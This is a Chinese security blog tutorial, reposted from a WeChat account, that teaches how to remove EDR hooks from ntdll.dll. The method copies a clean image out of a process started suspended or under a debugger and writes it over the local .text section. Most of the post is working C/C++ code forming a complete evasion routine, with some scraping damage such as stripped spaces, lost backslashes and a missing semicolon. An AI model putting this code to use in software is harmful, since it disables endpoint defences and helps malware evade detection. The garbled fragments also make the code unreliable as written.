Ntdll Unhook 下集

admin 2025年4月2日00:22:18评论9 views字数 6676阅读22分15秒阅读模式

一、介绍

取消 ntdll.dll 钩子的另一种方法是通过从挂起的进程读取它。这是可行的,因为 EDR(终端检测与响应系统) 需要运行中的进程来安装它们的挂钩,而在挂起状态下创建的进程会包含干净的 ntdll.dll 映像,允许用挂起进程的文本部分替换当前进程的.text部分。典型的进程启动过程中,Windows 加载器会先加载可执行映像(例如 notepad.exe),然后再映射 ntdll.dll 映像,并接着加载该进程的所有 DLL 依赖项。然而,如果以挂起状态创建进程,则只有ntdll.dll 会被映射,而不会加载其他 DLL。这种行为在以调试模式创建进程时同样适用。

#include<windows.h>#include<iostream>int main() {    WCHARcWinPath[MAX_PATH / 2] = { 0 };    WCHARcProcessPath[MAX_PATH] = { 0 };    STARTUPINFO si = { sizeof(STARTUPINFO) };    PROCESS_INFORMATION pi;    if (GetWindowsDirectoryW(cWinPath, sizeof(cWinPath) / sizeof(WCHAR)) == 0) {        std::wcerr << L"[!] GetWindowsDirectoryW Failed With Error: " << GetLastError() << std::endl;        return 1;    }    swprintf_s(cProcessPath, sizeof(cProcessPath) / sizeof(WCHAR), L"%s\System32\notepad.exe", cWinPath);    // 创建进程但保持挂起状态    if (CreateProcessW(        NULL,         // 可执行文件路径        cProcessPath, // 命令行参数        NULL,         // 进程安全属性        NULL,         // 线程安全属性        FALSE,        // 继承句柄        CREATE_SUSPENDED, // 以挂起状态创建进程        NULL,         // 环境变量        NULL,         // 当前目录        &si,          // 启动信息        &pi)) {       // 进程信息    }    else {        std::wcerr << L"创建进程失败!错误代码: " << GetLastError() << std::endl;    }    return 0;}

Ntdll Unhook 下集

二、实现

获取所需信息

要从远程进程中获取 ntdll.dll,需要确定 NTDLL 映射到的基地址由于 DLL 共享相同的基地址,ntdll.dll 的本地基地址将与其远程基地址相同Ntdll Unhook 下集因此,当创建任何进程(包括子进程)时,在其挂起状态下,其 ntdll.dll 的基地址都是预先已知的。但是,其大小是未知的,需要通过解析本地 ntdll.dll 映像的 PE 头并访问其 OptionalHeader.SizeOfImage 元素来计算大小,该元素包含映像的大小。出于此原因,创建了以下函数 GetNtdllSizeFromBaseAddress,它有一个参数 pNtdllModule,该参数将是一个映像的基地址(即 ntdll.dll)以获取其大小。

pNtdllModule 参数可以使用 FetchLocalNtdllBaseAddress 函数来提供,该函数在以前用于解除 NTDLL 钩子的模块中使用,以检索 ntdll.dll 映像的基地址。

SIZE_T GetNtdllSizeFromBaseAddress(IN PBYTE pNtdllModule){PIMAGE_DOS_HEADER pImgDosHdr = (PIMAGE_DOS_HEADER)pNtdllModule;if (pImgDosHdr->e_magic != IMAGE_DOS_SIGNATURE)return NULL;PIMAGE_NT_HEADERS pImgNtHdrs = (PIMAGE_NT_HEADERS)(pNtdllModule + pImgDosHdr->e_lfanew);if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE)return NULL;return pImgNtHdrs->OptionalHeader.SizeOfImage;}PVOID FetchLocalNtdllBaseAddress(){#ifdef _WIN64PPEB pPeb = (PPEB)__readgsqword(0x60);#elif _WIN32PPEB pPeb = (PPEB)__readfsdword(0x30);#endif// _WIN64// Reaching to the 'ntdll.dll' module directly (we know its the 2nd image after 'SuspendedProcessUnhooking.exe')// 0x10 is = sizeof(LIST_ENTRY)PLDR_DATA_TABLE_ENTRY pLdr = (PLDR_DATA_TABLE_ENTRY)((PBYTE)pPeb->Ldr->InMemoryOrderModuleList.Flink->Flink - 0x10);return pLdr->DllBase;}

创建一个挂起的进程利用带有 CREATE_SUSPENDED 或 DEBUG_PROCESS 标志的 CreateProcessA ,在下面的代码中,将使用 DEBUG_PROCESS 标志。创建进程后,使用 ReadProcessMemory 读取 ntdll.dll 映像。然后使用 DebugActiveProcessStop WinAPI 将进程分离,再利用 TerminateProcess WinAPI 终止进程。请注意,如果进程之前未分离,则无法对其进行终止。

如果使用了 CREATE_SUSPENDED 标志,则将 DebugActiveProcessStop WinAPI 替换为 ResumeThread。

上述逻辑在以下 ReadNtdllFromASuspendedProcess 函数中以编程方式进行说明。

BOOL ReadNtdllFromASuspendedProcess(IN LPCSTR lpProcessName, OUT PVOID* ppNtdllBuf) {CHARcWinPath[MAX_PATH / 2]= { 0 };CHARcProcessPath[MAX_PATH]= { 0 };PVOIDpNtdllModule= FetchLocalNtdllBaseAddress();PBYTEpNtdllBuffer= NULL;SIZE_TsNtdllSize    = NULL,    sNumberOfBytesRead= NULL;STARTUPINFO                    Si     = { 0 };PROCESS_INFORMATION            Pi     = { 0 };// 清理结构体(将元素值设为 0)RtlSecureZeroMemory(&Si, sizeof(STARTUPINFO));RtlSecureZeroMemory(&Pi, sizeof(PROCESS_INFORMATION));// 设置结构体的大小Si.cb = sizeof(STARTUPINFO);if (GetWindowsDirectoryA(cWinPath, sizeof(cWinPath)) == 0) {printf("[!] GetWindowsDirectoryA Failed With Error : %d n", GetLastError());goto _EndOfFunc;}// 'sprintf_s' 是比 'sprintf' 更安全的版本sprintf_s(cProcessPath, sizeof(cProcessPath), "%s\System32\%s", cWinPath, lpProcessName);if (!CreateProcessA(NULL,cProcessPath,NULL,NULL,FALSE,DEBUG_PROCESS,// 替代 CREATE_SUSPENDEDNULL,NULL,&Si,&Pi)) {printf("[!] CreateProcessA Failed with Error : %d n", GetLastError());goto _EndOfFunc;}// 分配足够的内存从远程进程中读取 ntdllsNtdllSize = GetNtdllSizeFromBaseAddress((PBYTE)pNtdllModule);if (!sNtdllSize)goto _EndOfFunc;pNtdllBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sNtdllSize);if (!pNtdllBuffer)goto _EndOfFunc;// 读取 ntdll.dllif (!ReadProcessMemory(Pi.hProcess, pNtdllModule, pNtdllBuffer, sNtdllSize, &sNumberOfBytesRead) || sNumberOfBytesRead != sNtdllSize) {printf("[!] ReadProcessMemory Failed with Error : %d n", GetLastError());printf("[i] Read %d of %d Bytes n", sNumberOfBytesRead, sNtdllSize);goto _EndOfFunc;}*ppNtdllBuf = pNtdllBuffer;// 终止进程if (DebugActiveProcessStop(Pi.dwProcessId) && TerminateProcess(Pi.hProcess, 0)) {                // 进程已成功终止}_EndOfFunc:if (Pi.hProcess)CloseHandle(Pi.hProcess);if (Pi.hThread)CloseHandle(Pi.hThread);if (*ppNtdllBuf == NULL)return FALSE;elsereturn TRUE;}

合并修复

下一步是用干净的副本覆盖被挂钩的文本段。这是通过 ReplaceNtdllTxtSection 函数实现的,ntll.dll 的未挂钩副本是从映射的内存区域中读取的,这个区域是已挂起的进程的地址空间。这意味着干净的 NTDLL 文件的文本段偏移量为 IMAGE_SECTION_HEADER.VirtualAddress (4096)。

BOOL ReplaceNtdllTxtSection(IN PVOID pUnhookedNtdll) {PVOID               pLocalNtdll      = (PVOID)FetchLocalNtdllBaseAddress();// getting the dos headerPIMAGE_DOS_HEADER   pLocalDosHdr      = (PIMAGE_DOS_HEADER)pLocalNtdll;if (pLocalDosHdr && pLocalDosHdr->e_magic != IMAGE_DOS_SIGNATURE)return FALSE;// getting the nt headersPIMAGE_NT_HEADERS   pLocalNtHdrs      = (PIMAGE_NT_HEADERS)((PBYTE)pLocalNtdll + pLocalDosHdr->e_lfanew);if (pLocalNtHdrs->Signature != IMAGE_NT_SIGNATURE)return FALSE;PVOIDpLocalNtdllTxt= NULL,// local hooked text section base address    pRemoteNtdllTxt  = NULL// the unhooked text section base addressSIZE_TsNtdllTxtSize= NULL;// the size of the text section// getting the text sectionPIMAGE_SECTION_HEADER pSectionHeader = IMAGE_FIRST_SECTION(pLocalNtHdrs);for (int i = 0; i < pLocalNtHdrs->FileHeader.NumberOfSections; i++) {// the same as if( strcmp(pSectionHeader[i].Name, ".text") == 0 )if ((*(ULONG*)pSectionHeader[i].Name | 0x20202020) == 'xet.') {pLocalNtdllTxt= (PVOID)((ULONG_PTR)pLocalNtdll + pSectionHeader[i].VirtualAddress);pRemoteNtdllTxt= (PVOID)((ULONG_PTR)pUnhookedNtdll + pSectionHeader[i].VirtualAddress);sNtdllTxtSize= pSectionHeader[i].Misc.VirtualSize;break;}}//---------------------------------------------------------------------------------------------------------------------------// small check to verify that all the required information is retrievedif (!pLocalNtdllTxt || !pRemoteNtdllTxt || !sNtdllTxtSize)return FALSE;// small check to verify that 'pRemoteNtdllTxt' is really the base address of the text sectionif (*(ULONG*)pLocalNtdllTxt != *(ULONG*)pRemoteNtdllTxt)return FALSE;//---------------------------------------------------------------------------------------------------------------------------DWORD dwOldProtection = NULL;// making the text section writable and executableif (!VirtualProtect(pLocalNtdllTxt, sNtdllTxtSize, PAGE_EXECUTE_WRITECOPY, &dwOldProtection)) {printf("[!] VirtualProtect [1] Failed With Error : %d n", GetLastError());return FALSE;}// copying the new text sectionmemcpy(pLocalNtdllTxt, pRemoteNtdllTxt, sNtdllTxtSize);// rrestoring the old memory protectionif (!VirtualProtect(pLocalNtdllTxt, sNtdllTxtSize, dwOldProtection, &dwOldProtection)) {printf("[!] VirtualProtect [2] Failed With Error : %d n", GetLastError());return FALSE;}return TRUE;}

原文始发于微信公众号(想要暴富的安服仔):Ntdll Unhook 下集

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年4月2日00:22:18
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Ntdll Unhook 下集https://cn-sec.com/archives/3894713.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息